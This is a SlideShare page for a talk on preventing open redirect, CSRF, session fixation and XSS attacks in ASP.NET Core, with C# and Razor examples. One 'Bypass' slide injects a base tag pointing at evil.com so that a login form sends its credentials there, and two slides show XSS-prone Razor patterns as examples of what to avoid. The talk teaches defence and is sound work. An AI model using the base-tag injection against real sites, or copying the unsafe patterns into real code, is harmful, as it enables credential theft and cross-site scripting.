SlideShare a Scribd company logo
1 of 60
ptsecurity.com
Preventing attacks in
ASP .NET Core
Mikhail Shcherbakov
Independent Developer and
Consultant
Who am I
 Independent Developer and Consultant
 Co-organizer of .NET meetups http://dotnet.ru
 Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups
 Former Product Manager at Cezurity, R&D Developer at Positive
Technologies and Team Lead at Acronis, Luxoft, Boeing
#2
What you can expect
 We’re going to talk about preventing Open Redirect, CSRF, XSS
attacks, using and architecture of cookies, Data Protection,
Session Management, CSP.
 We’re not going to discuss authentication and authorization.
#3
Microsoft .NET Core and ASP.NET Core
Bug Bounty Program
https://aka.ms/corebounty
#4
Prevention Open Redirect Attacks
Why do we talk about it?
https://github.com/OWASP/Top10/tree/master/2017/datacall
#7
WTF?
https://github.com/OWASP/Top10/raw/master/2017/OWASP%20To
p%2010%20-%202017%20RC1-English.pdf
#8
How to use the prevention mechanism
public async Task<IActionResult> Login(LoginViewModel model, string returnUrl)
{
// ...
return LocalRedirect(returnUrl);
}
private IActionResult RedirectToLocal(string returnUrl)
{
if (Url.IsLocalUrl(returnUrl))
return Redirect(returnUrl);
else
return RedirectToAction(nameof(HomeController.Index), "Home");
}
#10
https://technet.microsoft.com/library/security/4021279
#9
Data Protection
Overview
 No machine keys
 High level cryptography out-of-the-box
 Key stores out-of-the-box
 Supports key rotation automatically
 Provides isolation based on purposes automatically
#12
Protect / Unprotect
public class HomeController : Controller
{
private readonly IDataProtector protector;
public HomeController(IDataProtectionProvider provider)
{
protector = provider.CreateProtector("isolation-purpose");
}
public IActionResult Index(string input)
{
var protectedPayload = protector.Protect(input);
var unprotectedPayload = protector.Unprotect(protectedPayload);
return View();
}
}
#13
Protect / Unprotect
public IActionResult Index(string input)
{
var timeLimitedProtector = protector.ToTimeLimitedDataProtector();
var protectedData = timeLimitedProtector.Protect(input,
lifetime: TimeSpan.FromMinutes(30));
return View();
}
#14
Password Hashing
public void StorePassword(SecureString password)
{
var salt = new byte[128 / 8];
using (var rng = RandomNumberGenerator.Create())
{
rng.GetBytes(salt);
}
var hash = Convert.ToBase64String(KeyDerivation.Pbkdf2(
password: password,
salt: salt,
prf: KeyDerivationPrf.HMACSHA512,
iterationCount: 10000,
numBytesRequested: 256 / 8));
// store salt and hash to DB...
}
#15
Configuration
public void ConfigureServices(IServiceCollection services)
{
services.AddDataProtection()
.SetApplicationName("isolation-name")
.SetDefaultKeyLifetime(TimeSpan.FromDays(14))
.PersistKeysToFileSystem(new DirectoryInfo(@"servershare"))
.ProtectKeysWithDpapi()
.UseCryptographicAlgorithms(new AuthenticatedEncryptionSettings
{
EncryptionAlgorithm = EncryptionAlgorithm.AES_256_CBC,
ValidationAlgorithm = ValidationAlgorithm.HMACSHA256
});
}
Configuration
 HKLMSOFTWAREMicrosoftDotNetPackages
Microsoft.AspNetCore.DataProtection
 EncryptionType
 DefaultKeyLifetime
 KeyEscrowSinks
Under the hood
 The default payload protection algorithm used is AES-256-CBC
for confidentiality and HMACSHA256 for authenticity. A 512-bit
master key, rolled every 90 days
 Protected payload format
 32-bit magic header
 128-bit key id
 the part of specific to the encryptor
#16
Under the hood
https://www.youtube.com/watch?v=X1V6_OyQKLw
#17
Anti-Request Forgery
Why do we talk about it?
 Official documentation was published on 27 March
and it has inaccuracies
https://docs.microsoft.com/ru-ru/aspnet/core/security/anti-
request-forgery
 This is an excellent example how to work with cookies!
#19
Cross-Site Request Forgery (CSRF)
#20
Synchronizer Token Pattern
#21
Synchronizer Token Pattern
Double-Submit Cookie Pattern
#22
AutoValidateAntiforgeryToken
public class Startup
{
public void ConfigureServices(IServiceCollection services)
{
services.AddMvc(options =>
options.Filters.Add(new AutoValidateAntiforgeryTokenAttribute()));
}
}
#23
ValidateAntiForgeryToken
IgnoreAntiforgeryToken
[ValidateAntiForgeryToken]
public class CustomController : Controller
{
[HttpPost]
[IgnoreAntiforgeryToken]
public IActionResult DoSomething(SomeViewModel model)
{
// no antiforgery token required
}
}
#24
Generate AntiForgery tokens automatically
<form asp-controller="Account" asp-action="Login" asp-route-returnurl="@ViewData["ReturnUrl"]"
method="post" class="form-horizontal">
<h4>Use a local account to log in.</h4>
<div asp-validation-summary="All" class="text-danger"></div>
<div class="form-group">...</div>
</form>
<form method="post" class="form-horizontal" action="/Account/Login" novalidate="novalidate">
<h4>Use a local account to log in.</h4>
<div class="text-danger validation-summary-valid" data-valmsg-summary="true">
<ul><li style="display: none"></li></ul>
</div>
<div class="form-group">...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049_Z1ELltvpTkCt978aCpj1
</form>
#25
Add AntiForgery token explicitly
<form action="/" method="post">
@Html.AntiForgeryToken()
</form>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8NrAkSldwD9CpLRyOtm6FiJB1Jr_F3FQJQDvhlHoLNJJrLA6zaMUmhjMsisu2D2tFkAiYgyWQawJk9vNm36s
#26
AJAX, WebAPI, SPAs…
 Do you use authentication cookies?
 No cookies, no problems… except for stealing a token by XSS 
For example, you may use JSON Web Token (JWT)
 Yes, I do… Go next page
#27
AJAX, WebAPI, SPAs…
@inject Microsoft.AspNetCore.Antiforgery.IAntiforgery Xsrf
@functions{
public string GetAntiXsrfRequestToken()
{
return Xsrf.GetAndStoreTokens(Context).RequestToken;
}
}
<input type="button" id="antiforgery" value="Antiforgery" />
<script>
$("#antiforgery").click(function () {
$.ajax({
type: "post",
dataType: "html",
headers:
{
"RequestVerificationToken": '@GetAntiXsrfRequestToken()'
},
url: '@Url.Action("Antiforgery", "Home")',
});
});
#28
AngularJS
HttpContext.Response.Cookies.Append("XSRF-TOKEN",
antiforgery.GetAndStoreTokens(HttpContext).RequestToken,
new Microsoft.AspNetCore.Http.CookieOptions { HttpOnly = false });
services.AddAntiforgery(options => options.HeaderName = "X-XSRF-TOKEN");
#29
Under the Hood
<form method="post" action="/Home/MyAction">
<div>...</div>
<input name="__RequestVerificationToken" type="hidden"
value="CfDJ8MNYtGIQJ0NKvmDVDgK_YQ2alNtW7VHnQAVGEoKzZhHQgrj0A0o8L8s9049
</form>
https://github.com/aspnet/Antiforgery
#30
New Token
private static readonly RandomNumberGenerator randomNumberGenerator =
RandomNumberGenerator.Create();
private static byte[] GenerateNewToken(int bitLength)
{
var data = new byte[bitLength / 8];
randomNumberGenerator.GetBytes(data);
return data;
}
#31
Cookie Attributes: Domain and Path
public class ResponseCookies : IResponseCookies
{
public void Append(string key, string value, CookieOptions options)
{
var cookieHeaderValue = new SetCookieHeaderValue(
Uri.EscapeDataString(key), Uri.EscapeDataString(value));
cookieHeaderValue.Domain = options.Domain;
cookieHeaderValue.Path = options.Path;
#32
Cookie Attributes: HttpOnly
#33
Using HttpOnly is enough?
cryptoSystem = provider.CreateProtector(
"Microsoft.AspNetCore.Antiforgery.AntiforgeryToken.v1");
// ...
var bytes = cryptoSystem.Protect(stream.ToArray());
#34
Why isn't it enough again?
/* The serialized format of the anti-XSRF token is as follows:
* Version: 1 byte integer
* SecurityToken: 16 byte binary blob
* IsCookieToken: 1 byte Boolean
* [if IsCookieToken != true]
* +- IsClaimsBased: 1 byte Boolean
* | [if IsClaimsBased = true]
* | `- ClaimUid: 32 byte binary blob
* | [if IsClaimsBased = false]
* | `- Username: UTF-8 string with 7-bit integer length prefix
* `- AdditionalData: UTF-8 string with 7-bit integer length prefix
*/
#35
Encrypted DTO Pattern
#36
Session Management
Overview
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#38
Overview
#38
Why do we talk about it?
 The current implementation has a weakness that can be the
cause of Session Fixation attack.
 The Session Fixation took 2th prize in OWASP Top 10.
#40
Demo code
private string GetMessageFromCacheOrDb()
{
// check session cache
byte[] value;
if (HttpContext.Session.TryGetValue("msg", out value))
{
return System.Text.Encoding.UTF8.GetString(value);
}
var valueMessage = GetMessageFromDb(HttpContext.User.Identity.Name);
HttpContext.Session.SetString("msg", valueMessage);
return valueMessage;
}
#41
Session Fixation in ASP .NET Core
 Don’t store security sensitive data in a session!..
 Or die fix it in your project.
#43
Prevention XSS Attacks
Why do we talk about it?
 The XSS is the most popular attack to web applications
 https://github.com/OWASP/Top10/tree/master/2017/datacall
 https://twitter.com/kochetkov_v/status/857575220160462850
 This is a good entry point for other attacks with more impact
 Only some people know and correctly use built-in XSS
prevention mechanisms
#45
Same-origin policy (SOP)
 URI scheme (http)
 Hostname (my-domain.com)
 Port number (80)
#46
Potential XSS
<script src="@ViewData["UntrustedInput"]">
</script>
#47
Potential XSS
<script>
@ViewData["UntrustedInput"];
</script>
#48
Encoding points
 HTML
 JavaScript
 URL
 XML
 SVG
#49
Encoding points
 HtmlEncoder (@<member> in .cshtml)
 JavaScriptEncoder
 UrlEncoder
 Any sanitizer https://github.com/mganss/HtmlSanitizer
#50
Content Security Policy (CSP)
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("Content-Security-Policy",
"default-src 'self'; report-uri /cspreport");
await next();
});
#51
CSP Report Request
public class CspReportRequest
{
[JsonProperty(PropertyName = "csp-report")] public CspReport CspReport { get; set; }
}
public class CspReport
{
[JsonProperty(PropertyName = "document-uri")] public string DocumentUri { get; set; }
[JsonProperty(PropertyName = "referrer")] public string Referrer { get; set; }
[JsonProperty(PropertyName = "violated-directive")] public string ViolatedDirective { get; set; }
[JsonProperty(PropertyName = "effective-directive")] public string EffectiveDirective {get; set;}
[JsonProperty(PropertyName = "original-policy")] public string OriginalPolicy { get; set; }
[JsonProperty(PropertyName = "blocked-uri")] public string BlockedUri { get; set; }
[JsonProperty(PropertyName = "status-code")] public int StatusCode { get; set; }
}
#52
CSP Report Endpoint
[HttpPost("~/cspreport")]
public IActionResult CspReport([FromBody] CspReportRequest request)
{
// log and analyze the report...
return Ok();
}
#53
Bypass
<base href='http://evil.com/'>
<form method="post" class="form-horizontal" action="/Account/Login">
<h4>Use a local account to log in.</h4>
<input type="email" id="Email" name="Email" value="" />
<input type="password" id="Password" name="Password" />
<button type="submit">Log in</button>
<input name="__RequestVerificationToken" type="hidden" value="CfDJ8MNYtGIQJ0N
</form>
#54
x-xss-protection
app.UseMvc();
app.Use(async (context, next) =>
{
context.Response.Headers.Add("x-xss-protection", "1");
await next();
});
#55
Summary
 Michal Zalewski “Tangled Web. A Guide to Securing Modern
Web Applications”
 Stan Drapkin “Security Driven .NET”
 OWASP Testing Guide v4
#56
Questions?!
Mikhail Shcherbakov
@yu5k3
https://www.linkedin.com/in/mikhailshcherbakov
Independent Developer and Consultant
The presentation contains footage from Olive Kitteridge
ptsecurity.com
Спасибо!
Thank you!

More Related Content

What's hot

BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery  BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat Security Conference
 
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat Security Conference
 
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CanSecWest
 
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CanSecWest
 

What's hot (20)

BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery  BlueHat v17 ||  Detecting Compromise on Windows Endpoints with Osquery
BlueHat v17 || Detecting Compromise on Windows Endpoints with Osquery
 
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
BlueHat v17 || Where, how, and why is SSL traffic on mobile getting intercept...
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 
Linux Security, from Concept to Tooling
Linux Security, from Concept to ToolingLinux Security, from Concept to Tooling
Linux Security, from Concept to Tooling
 
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_executionCSW2017 Weston miller csw17_mitigating_native_remote_code_execution
CSW2017 Weston miller csw17_mitigating_native_remote_code_execution
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
Nguyen Duc Thinh - Docker security in Dev Ops environment 2.0
 
How Many Linux Security Layers Are Enough?
How Many Linux Security Layers Are Enough?How Many Linux Security Layers Are Enough?
How Many Linux Security Layers Are Enough?
 
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
Enabling Java 2 Runtime Security with Eclipse Plug-ins - Ted Habeck, Advisory...
 
Secure Coding for Java - An Introduction
Secure Coding for Java - An IntroductionSecure Coding for Java - An Introduction
Secure Coding for Java - An Introduction
 
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-miningOWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
OWASP Poland Day 2018 - Amir Shladovsky - Crypto-mining
 
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
BlueHat v17 || Out of the Truman Show: VM Escape in VMware Gracefully
 
Linux Hardening
Linux HardeningLinux Hardening
Linux Hardening
 
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
Современные технологии и инструменты анализа вредоносного ПО_PHDays_2017_Pisk...
 
BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole BlueHat v17 || Down the Open Source Software Rabbit Hole
BlueHat v17 || Down the Open Source Software Rabbit Hole
 
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...CSW2017 Enrico branca What if encrypted communications are not as secure as w...
CSW2017 Enrico branca What if encrypted communications are not as secure as w...
 
Handling of compromised Linux systems
Handling of compromised Linux systemsHandling of compromised Linux systems
Handling of compromised Linux systems
 
Hacking intranet websites
Hacking intranet websitesHacking intranet websites
Hacking intranet websites
 
Linux Security Scanning with Lynis
Linux Security Scanning with LynisLinux Security Scanning with Lynis
Linux Security Scanning with Lynis
 
What you need to know about ExPetr ransomware
What you need to know about ExPetr ransomwareWhat you need to know about ExPetr ransomware
What you need to know about ExPetr ransomware
 

Similar to Механизмы предотвращения атак в ASP.NET Core

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
NETFest
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
geeksec80
 
Hack any website
Hack any websiteHack any website
Hack any website
sunil kumar
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 

Similar to Механизмы предотвращения атак в ASP.NET Core (20)

.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
.NET Fest 2017. Михаил Щербаков. Механизмы предотвращения атак в ASP.NET Core
 
02 banking trojans-thomassiebert
02 banking trojans-thomassiebert02 banking trojans-thomassiebert
02 banking trojans-thomassiebert
 
Hack any website
Hack any websiteHack any website
Hack any website
 
Technical Report Vawtrak v2
Technical Report Vawtrak v2Technical Report Vawtrak v2
Technical Report Vawtrak v2
 
Securing TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography APISecuring TodoMVC Using the Web Cryptography API
Securing TodoMVC Using the Web Cryptography API
 
Waf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScriptWaf.js: How to Protect Web Applications using JavaScript
Waf.js: How to Protect Web Applications using JavaScript
 
Real_World_0days.pdf
Real_World_0days.pdfReal_World_0days.pdf
Real_World_0days.pdf
 
Common Browser Hijacking Methods
Common Browser Hijacking MethodsCommon Browser Hijacking Methods
Common Browser Hijacking Methods
 
FIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT DevicesFIWARE Wednesday Webinars - How to Secure IoT Devices
FIWARE Wednesday Webinars - How to Secure IoT Devices
 
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menaceDEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
DEF CON 27 - ALVARO MUNOZ / OLEKSANDR MIROSH - sso wars the token menace
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
Blockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdfBlockchain Land Audit Report.pdf
Blockchain Land Audit Report.pdf
 
Embedded Security and the IoT
Embedded Security and the IoTEmbedded Security and the IoT
Embedded Security and the IoT
 
ASP.NET Single Sign On
ASP.NET Single Sign OnASP.NET Single Sign On
ASP.NET Single Sign On
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Revealing Unique MitB Builder C&C Server
Revealing Unique MitB Builder C&C ServerRevealing Unique MitB Builder C&C Server
Revealing Unique MitB Builder C&C Server
 
Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)Secure Software: Action, Comedy or Drama? (2017 edition)
Secure Software: Action, Comedy or Drama? (2017 edition)
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp
 

More from Positive Hack Days

Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
Positive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 

More from Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 
Доклад SiteSecure
Доклад SiteSecureДоклад SiteSecure
Доклад SiteSecure
 

Recently uploaded

Recently uploaded (20)

Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
Deploy with confidence: VMware Cloud Foundation 5.1 on next gen Dell PowerEdg...
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024Tata AIG General Insurance Company - Insurer Innovation Award 2024
Tata AIG General Insurance Company - Insurer Innovation Award 2024
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 

Механизмы предотвращения атак в ASP.NET Core

  • 1. ptsecurity.com Preventing attacks in ASP .NET Core Mikhail Shcherbakov Independent Developer and Consultant
  • 2. Who am I  Independent Developer and Consultant  Co-organizer of .NET meetups http://dotnet.ru  Public Speaker at DotNext, DotNetConf, ITGM, .NET meetups  Former Product Manager at Cezurity, R&D Developer at Positive Technologies and Team Lead at Acronis, Luxoft, Boeing #2
  • 3. What you can expect  We’re going to talk about preventing Open Redirect, CSRF, XSS attacks, using and architecture of cookies, Data Protection, Session Management, CSP.  We’re not going to discuss authentication and authorization. #3
  • 4. Microsoft .NET Core and ASP.NET Core Bug Bounty Program https://aka.ms/corebounty #4
  • 6.
  • 7. Why do we talk about it? https://github.com/OWASP/Top10/tree/master/2017/datacall #7
  • 9. How to use the prevention mechanism public async Task<IActionResult> Login(LoginViewModel model, string returnUrl) { // ... return LocalRedirect(returnUrl); } private IActionResult RedirectToLocal(string returnUrl) { if (Url.IsLocalUrl(returnUrl)) return Redirect(returnUrl); else return RedirectToAction(nameof(HomeController.Index), "Home"); } #10
  • 12. Overview  No machine keys  High level cryptography out-of-the-box  Key stores out-of-the-box  Supports key rotation automatically  Provides isolation based on purposes automatically #12
